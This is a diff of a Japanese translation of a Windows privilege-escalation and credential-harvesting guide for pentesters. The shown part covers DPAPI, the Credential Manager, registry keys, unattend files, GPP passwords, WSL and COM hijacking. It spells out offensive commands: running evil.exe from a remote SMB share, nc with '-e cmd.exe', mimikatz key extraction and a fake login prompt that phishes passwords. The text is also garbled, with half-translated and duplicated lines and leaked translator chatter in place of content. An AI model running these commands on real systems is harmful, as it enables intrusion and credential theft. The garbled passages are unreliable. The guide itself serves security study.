```c // Example based on a vulnerable antimalware driver #define IOCTL_REGISTER_PROCESS 0x80002010 @@ -674,24 +671,23 @@ DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0) DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` 開発者向けの緩和策 -- デバイスオブジェクトを作成する際、DACLで制限する予定のものには常に FILE_DEVICE_SECURE_OPEN を設定する。 +- DACLで制限することを想定したデバイスオブジェクトを作成する際は、常に FILE_DEVICE_SECURE_OPEN を設定する。 - 特権操作では呼び出し元のコンテキストを検証する。プロセスの終了やハンドルの返却を許可する前に PP/PPL チェックを追加する。 -- IOCTLs(アクセスマスク、METHOD_*、入力検証)を制限し、直接的なカーネル権限の代わりにブローカー型モデルを検討する。 - -ディフェンダー向けの検出案 -- 怪しいデバイス名(例: \\ .\\amsdk*)へのユーザーモードからのオープンや、悪用を示す特定の IOCTL シーケンスを監視する。 -- Microsoft の vulnerable driver blocklist(HVCI/WDAC/Smart App Control)を適用し、独自の allow/deny リストを維持する。 +- IOCTLs(access masks、METHOD_*、入力検証)を制限し、直接カーネル特権を与える代わりにブローカー型モデルを検討する。 +防御者向けの検出アイデア +- 疑わしいデバイス名へのユーザーモードからのオープン(e.g., \\ .\\amsdk*)や、悪用を示す特定の IOCTL シーケンスを監視する。 +- Microsoft の vulnerable driver blocklist (HVCI/WDAC/Smart App Control) を適用し、独自の許可/拒否リストを維持する。 ## PATH DLL Hijacking -If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. +もし **write permissions inside a folder present on PATH** を持っていると、プロセスによって読み込まれる DLL を hijack して **escalate privileges** できる可能性がある。 -PATH 内のすべてのフォルダの権限を確認する: +Check permissions of all folders inside PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -このチェックを悪用する方法の詳細については: +このチェックを悪用する方法の詳細については、次を参照してください: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -709,7 +705,7 @@ net share #Check current shares ``` ### hosts file -hosts fileにハードコードされた他の既知のコンピュータがないか確認する +hosts file にハードコードされている他の既知のコンピュータがないか確認する ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -719,9 +715,9 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### 開いているポート +### Open Ports -外部から**アクセス制限されたサービス**を確認する +外部から**restricted services**を確認する ```bash netstat -ano #Opened ports? ``` @@ -735,29 +731,29 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### ファイアウォールのルール -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧表示、ルールの作成、無効化、無効化...)** +[**ファイアウォール関連のコマンドはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルール一覧、ルール作成、無効化、無効化...)** -さらに[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +さらに[ネットワーク列挙のコマンドはこちら](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つかります。 +バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にもあります。 -もし root user を取得すれば、任意のポートで listen できます(最初に `nc.exe` を使ってポートで listen すると、GUI で `nc` を firewall に許可するか尋ねられます)。 +root user を取得すると任意の port で listen できます(`nc.exe` を初めて port の listen に使うと、GUI 経由で `nc` を firewall に許可するかどうか尋ねられます)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -bash を root として簡単に起動するには、`--default-user root` を試してください +To easily start bash as root, you can try `--default-user root` -フォルダ `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` で `WSL` のファイルシステムを参照できます +次のフォルダで `WSL` のファイルシステムを参照できます: `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows 資格情報 @@ -773,16 +769,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### 資格情報マネージャ / Windows Vault +### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault は、Windows がユーザーを自動的にログインさせられるサーバー、ウェブサイト、その他のプログラム向けのユーザー資格情報を保存します。最初は、ユーザーが Facebook、Twitter、Gmail などの資格情報を保存してブラウザで自動ログインするためのものに見えるかもしれませんが、実際はそうではありません。 +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault は、**Windows** が **ユーザーを自動的にログインさせる**y サーバ、ウェブサイト、その他のプログラム用のユーザー認証情報を保存します。 一見すると、ユーザーが Facebook の認証情報、Twitter の認証情報、Gmail の認証情報などを保存してブラウザを介して自動的にログインできるように思えるかもしれません。しかし実際はそうではありません。 -Windows Vault は Windows が自動ログインできる資格情報を保存します。つまり、リソース(サーバーやウェブサイト)にアクセスするために資格情報を必要とする任意の **Windows application that needs credentials to access a resource** は、この **Credential Manager** と Windows Vault を利用して、ユーザーが毎回ユーザー名とパスワードを入力する代わりに保存された資格情報を使用できます。 +Windows Vault は Windows が自動的にログインできる認証情報を保存します。つまり、リソース(サーバーやウェブサイト)にアクセスするために認証情報を必要とするあらゆる **Windows application that needs credentials to access a resource** は、**can make use of this Credential Manager** と Windows Vault を利用して、ユーザーが毎回ユーザー名とパスワードを入力する代わりに格納された認証情報を使用できます。 -アプリケーションが Credential Manager と連携しない限り、特定のリソースの資格情報を利用することはできないと思われます。したがって、アプリケーションが vault を利用したい場合は、デフォルトのストレージ vault からそのリソースの資格情報を取得するために、何らかの方法で **credential manager と通信して資格情報を要求する** 必要があります。 +アプリケーションが Credential Manager と連携しない限り、特定のリソースに対してその認証情報を使用することはできないと思われます。したがって、あなたのアプリケーションが vault を利用したい場合は、デフォルトのストレージ vault からそのリソースの認証情報を取得するために、何らかの方法で **communicate with the credential manager and request the credentials for that resource** する必要があります。 -マシンに保存されている資格情報を一覧表示するには `cmdkey` を使用します。 +Use the `cmdkey` to list the stored credentials on the machine. ```bash cmdkey /list Currently stored credentials: @@ -790,28 +786,28 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -その後、保存された資格情報を使用するために`runas`を`/savecred`オプション付きで使用できます。次の例はSMB share経由でリモートバイナリを呼び出すものです。 +その後、保存された資格情報を使用するために `runas` を `/savecred` オプションで使用できます。次の例は、SMB 共有を介してリモートの binary を呼び出しています。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -提供された資格情報を使用して `runas` を実行する。 +提供された資格情報のセットを使用して `runas` を実行する。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note that mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html)、または[Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) からも取得できます。 +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -The **Data Protection API (DPAPI)** は、データの対称暗号化の手法を提供し、主に Windows オペレーティングシステム内で非対称秘密鍵の対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムのシークレットを利用してエントロピー(ランダム性)に大きく寄与します。 +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。システム暗号化のシナリオでは、システムのドメイン認証シークレットを利用します。 +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -DPAPI を使用して暗号化されたユーザーの RSA キーは %APPDATA%\Microsoft\Protect\{SID} ディレクトリに保存されます。ここで {SID} はユーザーの[Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) を表します。**同じファイル内でユーザーの秘密鍵を保護するマスターキーと同じ場所に格納されている DPAPI キーは、通常 64 バイトのランダムデータで構成されます。**(このディレクトリへのアクセスは制限されており、CMD の dir コマンドで内容を一覧表示することはできませんが、PowerShell では一覧表示できます。) +Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -適切な引数(`/pvk` または `/rpc`)を付けて、**mimikatz module** `dpapi::masterkey` を使用することでそれを復号できます。 +適切な引数(`/pvk` または `/rpc`)を指定して、**mimikatz module** `dpapi::masterkey` を使用して復号できます。 **credentials files protected by the master password** は通常次の場所にあります: ```bash @@ -820,8 +816,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -適切な `/masterkey` を指定して **mimikatz module** `dpapi::cred` を使って復号できます。\ -`sekurlsa::dpapi` モジュールを使えば、**memory** から多くの **DPAPI** **masterkeys** を抽出できます(**root** の場合)。 +適切な `/masterkey` を指定して、**mimikatz module** `dpapi::cred` を使って復号できます。\ +root の場合、`sekurlsa::dpapi` モジュールを使って **memory** から多数の DPAPI **masterkeys** を抽出できます。(root の場合) {{#ref}} @@ -830,9 +826,9 @@ dpapi-extracting-passwords.md ### PowerShell 資格情報 -**PowerShell 資格情報** は、暗号化された資格情報を便利に保存する方法として、**scripting** や自動化タスクでよく使われます。これらの資格情報は **DPAPI** によって保護されており、通常、作成されたのと同じユーザーかつ同じコンピュータ上でしか復号できません。 +**PowerShell credentials** は、暗号化された資格情報を便利に保存する方法として、**scripting** や自動化タスクでよく使われます。これらの資格情報は **DPAPI** によって保護されており、通常、作成されたのと同じユーザーかつ同じコンピュータでのみ復号できます。 -ファイルに含まれる PowerShell 資格情報を **復号する** には、次のようにします: +そのファイルから PS credentials を **decrypt** するには、次のようにします: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -843,7 +839,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### 無線LAN ```bash #List saved Wifi using netsh wlan show profile @@ -854,39 +850,33 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### 保存された RDP 接続 -以下の場所で見つけることができます: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +これらは `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` にあります。 ### 最近実行されたコマンド ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **リモートデスクトップ資格情報マネージャー** +### **リモート デスクトップ 資格情報マネージャー** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -適切な `/masterkey` を指定して **Mimikatz** の `dpapi::rdg` モジュールを使用すると、**任意の .rdg ファイルを復号**できます\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module -Mimikatz の `sekurlsa::dpapi` モジュールを使用して、メモリから多くの **DPAPI masterkeys を抽出**できます +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files`\ +Mimikatz の `sekurlsa::dpapi` モジュールで、メモリから多くの **DPAPI masterkeys** を抽出できます ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. -Windows のワークステーションでは StickyNotes アプリがパスワードやその他の情報を **保存** するために使われることが多く、それがデータベースファイルであることに気づいていない場合がよくあります。このファイルは `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に見つけて調査する価値があります。 +Windows ワークステーションでは、ユーザーが StickyNotes app を使って **パスワードを保存** したりその他の情報を記録したりすることがよくありますが、それがデータベースファイルであるとは気付いていないことが多いです。 +このファイルは `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。 ### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -**AppCmd.exe からパスワードを回復するには Administrator 権限が必要で、High Integrity level で実行する必要があることに注意してください。**\ **AppCmd.exe** は `%systemroot%\system32\inetsrv\` ディレクトリにあります。\ このファイルが存在する場合、何らかの **credentials** が設定されており、**回復** できる可能性があります。 -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): -このコードは [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) から抽出されました: +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -966,14 +956,14 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -`C:\Windows\CCM\SCClient.exe` が存在するか確認する。\ -インストーラは **run with SYSTEM privileges** で実行されます。多くは **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +`C:\Windows\CCM\SCClient.exe` が存在するか確認する .\ +インストーラーは **run with SYSTEM privileges**, 多くは **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** に脆弱です。 ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## ファイルとレジストリ (Credentials) +## ファイルとレジストリ(資格情報) ### Putty Creds ```bash @@ -983,23 +973,23 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### レジストリ内のSSHキー +### SSH keys in registry -SSHのプライベートキーはレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されている場合があるため、そこに興味深いものがないか確認してください: +SSH private keys はレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されていることがあるため、そこに興味深いものがないか確認してください: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -そのパス内にエントリがあれば、おそらく保存された SSH キーです。暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使えば簡単に復号できます.\ -この手法の詳細はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +そのパス内にエントリが見つかった場合、それはおそらく保存された SSH key です。暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使用すると簡単に復号できます。\ +この手法の詳細は次を参照: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -もし `ssh-agent` サービスが実行されておらず、起動時に自動的に開始したい場合は、次を実行してください: +`ssh-agent` サービスが実行されておらず、起動時に自動で開始させたい場合は以下を実行してください: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> この手法はもう有効ではないようです。ssh keys を作成し、`ssh-add`で追加してsshでマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称キー認証中に `dpapi.dll` の使用を検出しませんでした。 +> この技術はもはや有効ではないようです。いくつかの ssh keys を作成し、`ssh-add` で追加して ssh 経由でマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称鍵認証中に `dpapi.dll` の使用を検出しませんでした。 -### 放置されたファイル +### 無人応答ファイル ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -1014,7 +1004,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -これらのファイルは**metasploit**を使って検索することもできます: _post/windows/gather/enum_unattend_ +これらのファイルは**metasploit**の _post/windows/gather/enum_unattend_ を使って検索することもできます。 例の内容: ```xml @@ -1035,7 +1025,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` -### SAM & SYSTEM バックアップ +### SAM & SYSTEM のバックアップ ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1057,15 +1047,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -ファイル名が **SiteList.xml** のファイルを検索する +ファイル名が **SiteList.xml** のファイルを検索してください -### Cached GPP パスワード +### キャッシュされた GPP パスワード -以前は、Group Policy Preferences (GPP) を使って複数のマシンにカスタムのローカル管理者アカウントを展開できる機能がありました。しかし、この方法には重大なセキュリティ欠陥がありました。第一に、SYSVOL に XML ファイルとして格納される Group Policy Objects (GPOs) は、任意のドメインユーザがアクセスできました。第二に、これらの GPP 内のパスワードは、公開されているデフォルトキーを用いて AES256 で暗号化されていましたが、任意の認証済みユーザが復号できました。そのため、権限昇格につながる重大なリスクがありました。 +以前、Group Policy Preferences (GPP) を使って複数のマシンにカスタムのローカル管理者アカウントをデプロイできる機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。第一に、Group Policy Objects (GPOs) は SYSVOL に XML ファイルとして格納されており、任意のドメインユーザーがアクセス可能でした。第二に、これらの GPP 内のパスワードは公開されているデフォルトキーを用いて AES256 で暗号化されており、認証済みの任意のユーザーが復号可能でした。これにより、ユーザーが権限昇格できる深刻なリスクがありました。 -このリスクを軽減するため、"cpassword" フィールドが空でないローカルにキャッシュされた GPP ファイルを検索する関数が作られました。そのようなファイルが見つかると、関数はパスワードを復号し、カスタムの PowerShell オブジェクトを返します。オブジェクトには GPP の詳細やファイルの場所が含まれ、脆弱性の特定と対処に役立ちます。 +このリスクを緩和するため、ローカルにキャッシュされている "cpassword" フィールドが空でない GPP ファイルをスキャンする関数が作られました。そのようなファイルを見つけると、関数はパスワードを復号し、カスタムの PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細やファイルの場所が含まれ、脆弱性の特定と修復に役立ちます。 -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(Windows Vista以前)_ for these files: - Groups.xml - Services.xml @@ -1079,11 +1069,11 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexecを使って passwords を取得する: +crackmapexec を使用してパスワードを取得する: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web構成 +### IISのWeb設定 ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1097,7 +1087,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -資格情報を含む web.config の例: +認証情報を含む web.config の例: ```xml @@ -1135,9 +1125,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### credentialsを要求する +### Ask for credentials -ユーザーがそれらを知っていると思われる場合、常に **ユーザーに自身の credentials、あるいは別のユーザーの credentials を入力するよう頼む** ことができます(ただし、クライアントに直接 **尋ねる** ことで **credentials** を要求するのは非常に **リスキー** である点に注意してください): +常に、もしそのユーザーが知っていると思われるなら、**ユーザーに自身のcredentials、あるいは別のユーザーのcredentialsさえ入力させるよう頼むことができます**(注意:クライアントに直接**尋ねること**で**credentials**を求めるのは本当に**危険**です): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1145,9 +1135,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **認証情報を含む可能性のあるファイル名** +### **資格情報を含む可能性のあるファイル名** -かつて **passwords** が **clear-text** または **Base64** で含まれていた既知のファイル +ある時点で**passwords**が**clear-text**または**Base64**で含まれていた既知のファイル ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1211,7 +1201,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -ファイルの内容が提供されていません。src/windows-hardening/windows-local-privilege-escalation/README.md の内容を送ってください。 +I don't have access to your repository files. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the files you want searched/transformed), and I will translate the relevant English text to Japanese while preserving all markdown/html/tags/paths as requested. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1220,15 +1210,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin内のCredentials +### ごみ箱内の資格情報 -Bin内のCredentialsも確認してください +また、ごみ箱を確認して、その中に資格情報がないか探してください -いくつかのプログラムに保存された**パスワードを復元する**には次を使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +いくつかのプログラムに保存された**パスワードを回復する**には、次を使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### registry内 +### レジストリ内 -**Credentialsを含むその他の可能なregistryキー** +**資格情報を含むその他のレジストリキー** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1240,7 +1230,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### ブラウザ履歴 パスワードが保存されている **Chrome or Firefox** の dbs を確認してください。\ -またブラウザの履歴、ブックマーク、お気に入りも確認し、そちらに **パスワードが** 保存されている可能性があります。 +また、ブラウザの履歴、ブックマーク、お気に入りも確認してください。そこに **パスワードが** 保存されている可能性があります。 Tools to extract passwords from browsers: @@ -1249,27 +1239,28 @@ Tools to extract passwords from browsers: - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL の上書き** +### **COM DLL Overwriting** -**Component Object Model (COM)** は、Windows オペレーティングシステム内に組み込まれた技術で、異なる言語で書かれたソフトウェアコンポーネント間の **相互通信** を可能にします。各 COM コンポーネントは **class ID (CLSID)** で識別され、各コンポーネントは 1 つ以上のインターフェースを介して機能を公開し、それらは interface ID (IIDs) で識別されます。 +**Component Object Model (COM)** は Windows オペレーティングシステム内に組み込まれた技術で、異なる言語のソフトウェアコンポーネント間の **相互通信** を可能にします。各 COM コンポーネントは **identified via a class ID (CLSID)** で識別され、各コンポーネントは 1 つ以上のインターフェースを介して機能を公開し、それらは interface IDs (IIDs) で識別されます。 -COM クラスとインターフェースは、それぞれ **HKEY\CLASSES\ROOT\CLSID** と **HKEY\CLASSES\ROOT\Interface** の下でレジストリに定義されています。このレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** と **HKEY\CURRENT\USER\Software\Classes** をマージして作成されたもの、つまり **HKEY\CLASSES\ROOT** です。 +COM クラスとインターフェースはそれぞれレジストリの **HKEY\CLASSES\ROOT\CLSID** と **HKEY\CLASSES\ROOT\Interface** の下に定義されています。このレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** をマージして作られ、**HKEY\CLASSES\ROOT** になります。 -このレジストリの CLSID の中には子キー **InProcServer32** があり、そこには **デフォルト値** として **DLL** を指す値と、**ThreadingModel** という値が含まれます。ThreadingModel は **Apartment**(シングルスレッド)、**Free**(マルチスレッド)、**Both**(シングルまたはマルチ)、または **Neutral**(スレッドニュートラル)になり得ます。 +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -基本的に、実行される DLL のいずれかを**上書き**できる場合、その DLL が別のユーザーによって実行されるのであれば **権限昇格** できる可能性があります。 +基本的に、実行される **DLL** のいずれかを **overwrite any of the DLLs** できれば、その DLL が別のユーザーによって実行される場合に **escalate privileges** する可能性があります。 + +To learn how attackers use COM Hijacking as a persistence mechanism check: -攻撃者が COM Hijacking を永続化のメカニズムとしてどのように利用するかを学ぶには、次を参照してください: {{#ref}} com-hijacking.md {{#endref}} -### **ファイルおよびレジストリ内の汎用的なパスワード検索** +### **ファイルおよびレジストリ内の一般的なパスワード検索** -**ファイルの内容を検索** +**ファイル内容を検索する** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1281,7 +1272,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**レジストリ内でキー名とパスワードを検索する** +**レジストリでキー名とパスワードを検索する** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1290,11 +1281,11 @@ REG QUERY HKCU /F "password" 